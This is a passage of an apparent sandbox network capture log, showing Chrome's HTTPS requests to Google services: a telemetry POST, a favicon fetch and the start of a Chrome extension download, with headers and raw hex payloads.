2024-09-30 07:51:42 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:51:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49769	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:42 UTC	1060	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:42 UTC	519	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 36 39 38 38 38 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682698885",null,null,null
2024-09-30 07:51:42 UTC	933	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=viiVS2Vve-QLWGKdMtSeoFsHacojApum0kBX4v5XFJGUjOkX2vzVwU6mPDnDDB9BzXp21WMnAYkG1-VY4GtkffaWU_QnnApib8GtbzGHWK3Wyd3zJZInBf_moQQFnb053OGnyWoSKXXoxpgazVk7SLXkb-hU-at2zRBiQMIcVpZcBZsg0WY; expires=Tue, 01-Apr-2025 07:51:42 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:51:42 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 30 Sep 2024 07:51:42 GMT Connection: close Transfer-Encoding: chunked
2024-09-30 07:51:42 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:51:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49736	142.250.185.132	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:42 UTC	1149	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=onpa3VdrJ_93kLczbw354ezLC3v-GLWmYGiB2yuyMtOBxB-hFS4OPqg8aBa9WWOizC-jGHdFJeucim9hbU8sam55vSuP7cGZP7dlzOMzB5Y833IYVqpUrU_teDSXFS1emefo72UGTcXCk7eyLIYgpNA0pE7ymQwQmx5hh8hGcMZ_bfm9YA
2024-09-30 07:51:42 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 30 Sep 2024 06:41:16 GMT Expires: Tue, 08 Oct 2024 06:41:16 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 4226 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-30 07:51:42 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-09-30 07:51:42 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-09-30 07:51:42 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-09-30 07:51:42 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-09-30 07:51:42 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49778	216.58.206.33	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:48 UTC	564	OUT	GET /crx/blobs/AY4GWKDHKllS27BO_e8bCnbax_jg8ytdTG4Uzua5Kte91Msonmjt9Ssh1u4j53F3UYy-997sHknkzKEy9994XId3zBBDiju_YSunzv5QYwyL8XEx9VuF26n3JIgkmCYaLzIAxlKa5UdUDZoPCHdwU63c7rFT0JUxfsWG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_82_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:48 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135800 X-GUploader-UploadID: AD-8ljss0i7-N7GCVuBPBnGDXjxdwd2nC5mCmsdO2MFRB4097VkEOFuTYKIeIFjl2KqaRpViQ-9Vvef_vQ X-Goog-Hash: crc32c=2rkoIg== Server: UploadServer Date: Sun, 29 Sep 2024 18:29:00 GMT Expires: Mon, 29 Sep 2025 18:29:00 GMT Cache-Control: public, max-age=31536000 Age: 48168 Last-Modified: Wed, 25 Sep 2024 18:28:43 GMT ETag: c770f43b_2e4e8419_a87d1040_314358aa_d4b28262 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-30 07:51:48 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: f1 43 56 b7 f2 f3 32 8c 97 6b ff e3 2f 3f c6 cf aa aa f3 5b fd a7 a1 fa fc d3 e9 a2 aa 1f 7f fe 71 bb 9c fb 4a fe bd bc f6 63 d5 8f 3f fe f2 8f 1f 43 fe 54 d7 5c ea cf 57 cf a0 29 4c db 10 dc 36 52 b3 ae 4b b3 56 e5 f3 f0 c2 ad db 25 eb a6 af cc 1c 4f a5 a9 5e 44 72 78 41 fb 9f 36 ba 3c 2e c2 53 bd 48 91 71 68 ae 17 fd f9 3a 6c a8 79 f8 fe 7b a7 6e 22 0d 2f 91 1a 7f 3d f4 4e 2d bd f3 25 ba 1c a6 b0 39 df 4b cf ee bf 3f 53 76 db 2f 09 b7 d7 2c 45 d7 ef ef 0b 13 71 f1 34 26 ce cf cf a4 1d 31 62 70 a4 dd d8 08 0f 75 79 47 81 9c d9 a1 04 01 42 40 ec 48 17 3c 73 3f d8 54 9e b0 c5 33 d8 1e fd db a5 f4 a0 91 ef 0e 2f 07 b5 bd 15 26 aa 0b 8f cd 47 13 76 47 13 a8 d2 42 b5 30 f5 75 37 cc 85 b9 b9 1c 77 c1 b3 30 b7 ff 9e e7 f7 b3 05 53 ee aa 9e 59 f5 3e 81 0c 1d b9 Data Ascii: CV2k/?[qJc?CT\W)L6RKV%O^DrxA6<.SHqh:ly{n"/=N-%9K?Sv/,Eq4&1bpuyGB@H<s?T3/&GvGB0u7w0SY>
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: 1b d6 04 22 eb da 27 82 a5 ad 63 16 2d b2 d7 de 7f e5 f8 38 9b d9 24 52 5d ef 15 36 91 61 58 94 c1 5c ba c8 2b f6 30 ce 7d 84 43 e5 5a b2 ab 77 d8 85 5a 03 02 5c 3e 81 8f 0d f9 b5 38 7e 7f 58 eb b9 37 64 0e c6 b0 57 4a 18 93 73 a4 e8 11 d2 b1 a3 4a ee 8a bd 74 93 bd 0c 4a 2a 62 0c b0 53 f6 5a a3 a9 d6 23 46 a7 d0 5f 5e fb f2 ff a1 c1 65 83 87 cc a8 95 f4 c5 67 6e aa 34 71 c3 91 f8 8e 1b 37 a2 17 66 90 e1 4e 87 82 e5 5c 84 2b 32 da 89 f7 52 41 07 9b 72 b3 9c 7b 72 2d ff 51 fb dc 0d f6 84 8b e6 ba 95 6e 60 12 00 3b e4 0b 91 1b c3 91 cc 5a 03 3c cc 43 ff a7 19 9b 8f 07 f3 71 9c 51 bc af ba f3 63 91 bf b5 36 f7 06 17 29 d8 a6 d6 f0 26 95 3b 47 b0 6e 09 40 14 5b 75 a0 7b 8c 44 b4 60 d6 bd 0e d5 f5 c0 8b 0d f0 86 88 f2 4a 0b 9a c5 b2 f7 bb e6 2b d9 e3 56 dd b2 Data Ascii: "'c-8$R]6aX\+0}CZwZ\>8~X7dWJsJtJ*bSZ#F_^egn4q7fN\+2RAr{r-Qn`;Z<CqQc6)&;Gn@[u{D`J+V
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: 70 dd 47 75 cc c6 56 b0 ab ba e9 3d 4a 8c 67 e9 cb cf dc c0 29 23 70 9f c0 01 e6 b3 68 45 a7 fb 8e 25 f6 96 53 af f5 39 11 dd d8 94 07 9d e0 07 40 00 fb 40 ed e0 0a 6e d7 bc 81 88 d0 31 c6 9e 7d 27 5d ad b8 0b cd 84 21 bb ea e0 07 d6 b1 b9 c4 be f4 56 b2 57 03 cd 1b 28 ca c6 b9 94 7c 7b 24 14 9b b1 85 37 a2 13 6f 19 71 be 88 76 fd b8 dd d6 88 6f 9f cc c8 00 69 5f 41 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 be 3b 09 78 b6 44 3b 68 e6 41 cf f6 78 4c 3a 14 11 57 eb 10 6d 1f df fb 8d c4 1b 6e 99 25 be f3 af cd fa e0 19 7a 87 e7 ff c1 df 48 81 43 d7 c6 3f 03 db 83 4c 1d 83 bb e3 5b 6c 6c fd 42 21 1e cf ac 4d 60 3c 53 d8 da 9c 8f 2f e1 de c9 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b 59 73 15 d6 fd 6b 70 8f 9b b3 1d ba b6 9b eb f9 e5 5e 9d 14 50 5d 28 3c Data Ascii: pGuV=Jg)#phE%S9@@n1}']!VW(\|{$7oqvoi_Ab \b\|wt;xD;hAxL:Wmn%zHC?L[llB!M`<S/"AI3\[Yskp^P](<
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: bb 0b fd 1c bd 60 5b 55 70 3d 77 b8 fd 66 30 94 7e fc 5f c6 0d 40 08 61 5d 00 dd 2f ef 95 cd 58 3d 12 b7 8e 73 0e 93 b2 41 2e 6e c7 bd f6 36 43 6c 9d 37 12 28 8a 40 fb 2c dc 31 0b 55 f0 bb f5 2d 4d f6 94 9d 6a f4 d8 56 61 05 9f 3a ce 4e 59 a7 ee a9 e5 e8 31 ff eb f8 28 57 41 82 1b d8 54 7d 30 73 1e 3e 63 f6 ad 71 07 80 5c 31 c4 c4 dd e0 14 be 23 4b 36 d8 d0 3a e7 d6 3d 31 ae a3 6c d4 7c e8 81 d4 f7 eb f4 58 63 96 c6 df f7 32 be 99 ff 3b 96 6e 87 ee 9f e7 2d 4f 7f 78 ce f2 5f df 1d a4 c7 c6 d4 54 ed bf ce 4a d6 3a 46 ed 7b ae e3 42 f0 f1 51 f0 ad ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d5 9f b9 d7 5e fe f7 bb 96 8e e7 1e 0d df b9 f3 7d 16 f3 d8 9c 9f c7 c6 fd fe ff 43 c7 97 a1 e3 ee ab 80 5b 53 b3 98 73 ae f5 ad b9 4e a7 f8 df 87 46 f3 f1 fe 59 dd 7e fc Data Ascii: `[Up=wf0~_@a]/X=sA.n6Cl7(@,1U-MjVa:NY1(WAT}0s>cq\1#K6:=1l\|Xc2;n-Ox_TJ:F{BQL^tVtW^}C[SsNFY~
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: 00 d2 40 43 b4 d1 9b a5 13 86 33 b7 40 6b 0f 86 85 bc f0 6a 25 cf 40 74 87 b6 74 ed 60 34 fb 8b 3f 7d ee d9 8f 7b 03 36 3c 4d 13 55 ac f5 48 7f 94 cf f0 fa fe b6 7e 2d 9f 9f 0f c6 cc fe f1 e8 01 fd 70 24 26 d7 1c cf 8f 61 96 f1 93 48 6e b6 58 e2 6f 12 fe 3a 8e 8e e3 6e 37 10 bb 35 09 4d ba b5 b9 29 5f 6b a0 03 f2 6e 58 45 60 6d 8d cf b7 c3 de 55 02 9c 01 e6 8b 6d 0a 88 ed 2d 15 29 33 76 6d 26 48 d9 d5 28 bd 98 b5 81 ca b1 e3 12 d8 bb 61 35 13 59 6a d2 a8 29 63 61 f2 92 13 f8 e1 33 03 85 e9 05 d0 08 06 88 73 1e 46 81 20 c1 d9 24 4d 7f a7 9b 9b ae f5 1b 1a f2 ed 17 91 e7 e9 3e 55 a3 33 cd 8c 04 64 f9 04 00 a2 f3 11 e7 0e 09 80 b4 34 ab cd cd d5 89 06 44 bb 24 e6 36 62 36 40 56 8a 6f 45 c3 92 e6 c0 7a 8e e6 c3 28 05 94 e4 a5 39 f4 88 2f 2e 03 93 94 f2 bd 04 Data Ascii: @C3@kj%@tt`4?}{6<MUH~-p$&aHnXo:n75M)_knXE`mUm-)3vm&H(a5Yj)ca3sF $M>U3d4D$6b6@VoEz(9/.
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: c1 7b 1a 86 87 c1 69 d8 43 75 8e 66 09 40 82 c5 f4 87 9e df e7 0c 49 2e f1 85 3d 0b ea cb 82 b7 a1 d5 d1 1c 5d 4e 68 57 68 59 c6 d6 cf de bb 12 5c 63 d8 90 0c a3 05 fc 6d 08 3b 9e 73 81 e0 0e bd dc 6e 17 e6 4b c9 18 2c 4a f8 19 54 98 53 58 01 a0 6f 44 dc da 40 06 b1 d9 80 b3 d8 a1 21 fe 9c 70 09 a9 83 68 d7 17 24 fd 84 0b 3e 7d 4f 09 84 4d 9c 87 58 f2 30 a1 67 5c e1 2a 20 94 65 37 1f 58 4b 9f 4b 6f 58 8f c5 e9 6d 6b c9 9d 02 c3 85 92 fe 69 38 14 aa 59 b0 71 ca 95 33 fd ca 4b dc 53 a1 a1 11 b2 43 7d de 21 e0 6b d5 d6 c0 06 fb 61 21 1b 94 7b 99 9a ed 24 ee 71 d7 2b 0b a1 80 48 c6 7a 5d 10 0a 96 25 1b c4 bf c3 e3 37 20 a6 bf 8d 83 1e db da 82 7f c2 b0 b9 b9 09 78 2a c4 9b 43 10 e6 00 fb d0 7a 37 ae 1d 72 40 73 6c f1 e0 75 bd ee 27 6e df 98 c8 85 7b 28 ed 74 Data Ascii: {iCuf@I.=]NhWhY\cm;snK,JTSXoD@!ph$>}OMX0g\* e7XKKoXmki8Yq3KSC}!ka!{$q+Hz]%7 x*Cz7r@slu'n{(t
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: ac a7 bd b5 e5 6f 34 3d 62 43 e6 84 e3 41 ca 26 a6 61 a3 82 c6 ac c0 b4 44 74 ec 16 2d ae 5b 28 6c dd 50 50 e4 63 b4 2b 59 fc 5e 55 72 0d d8 8b e5 47 98 13 7e d8 f5 c5 ae ad 70 c9 c6 bc 81 d5 c6 01 fa 80 6e be 68 ae 8b 6a 96 d9 22 7c fb 47 cd d5 a8 b9 72 2b d4 f6 35 ed dc a9 6c 88 4f b0 d4 14 10 f3 7d 66 1a 28 ca ca 34 2e 88 41 bd 80 e6 1b 7a b4 a0 f9 a7 a1 a0 35 30 6f 52 92 fa fe 29 ed 4f 24 fc 64 47 b7 3a 5d f5 79 57 00 3d 90 66 2f 31 fe 54 c6 36 a4 b3 b5 e2 4d ac dd 47 40 b0 90 58 a1 0f ce bb 8a 81 71 c5 46 34 0c 4c 22 09 e3 d2 24 b8 b7 20 49 dc 44 68 d4 4b 8d 8c c2 ed 82 cf ff ff 73 b0 b8 8a 83 25 9a 83 c5 82 77 6d 24 24 bd c4 c0 9e 12 cd b7 12 9a 53 0c 1c 2a a9 78 cf 5b b3 be 95 b8 17 2a c7 7a fd 33 58 2a cd bd 32 c1 7b 32 83 7b c5 fa 27 32 9e 58 b7 Data Ascii: o4=bCA&aDt-[(lPPc+Y^UrG~pnhj"\|Gr+5lO}f(4.Az50oR)O$dG:]yW=f/1T6MG@XqF4L"$ IDhKs%wm$$Sx[z3X*2{2{'2X
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: d9 4a dc 3b c3 13 30 1b ca 95 d0 89 da ac c3 b7 7b 6f 4a 7f a1 46 c7 61 74 92 a1 1d b5 1d 6c d9 51 4d 03 c7 e4 9f 16 8b c8 74 ad ae 8d 7d d7 63 39 af 1a 8b d1 ae 6a 4b 00 8c f7 a0 9d b4 e4 7a 60 a1 13 f3 75 fe 39 87 ed b7 f6 88 89 7f 89 d1 07 3a 66 fa 37 93 67 bd e4 aa 90 44 d3 60 a7 a7 03 98 71 23 02 39 d1 57 d4 c1 70 c7 ec 30 e3 90 d8 06 b3 fc 7a 44 41 ca 54 e7 e9 b6 54 2c ca 44 74 8a f6 50 11 7b 20 2b f9 db da aa 60 c7 d4 a5 b7 aa ef 05 e5 52 f3 d1 b4 e8 65 33 31 b3 14 84 29 85 88 e2 5d 84 9a e1 72 b5 d7 95 62 06 3c 34 40 2e 25 3c 2e c3 e7 e2 9d d1 3b c2 71 73 73 cd 07 23 2a 40 c9 e5 ce 88 cd 7a 67 69 0d 09 29 fa 23 b6 5a 9d df ac bd a3 30 e3 52 8c 86 ec b7 c6 80 f4 d2 ee 5a 5b f2 56 40 6f ad 03 3a 9a d7 a8 06 ac 6d 42 12 a8 e8 de 44 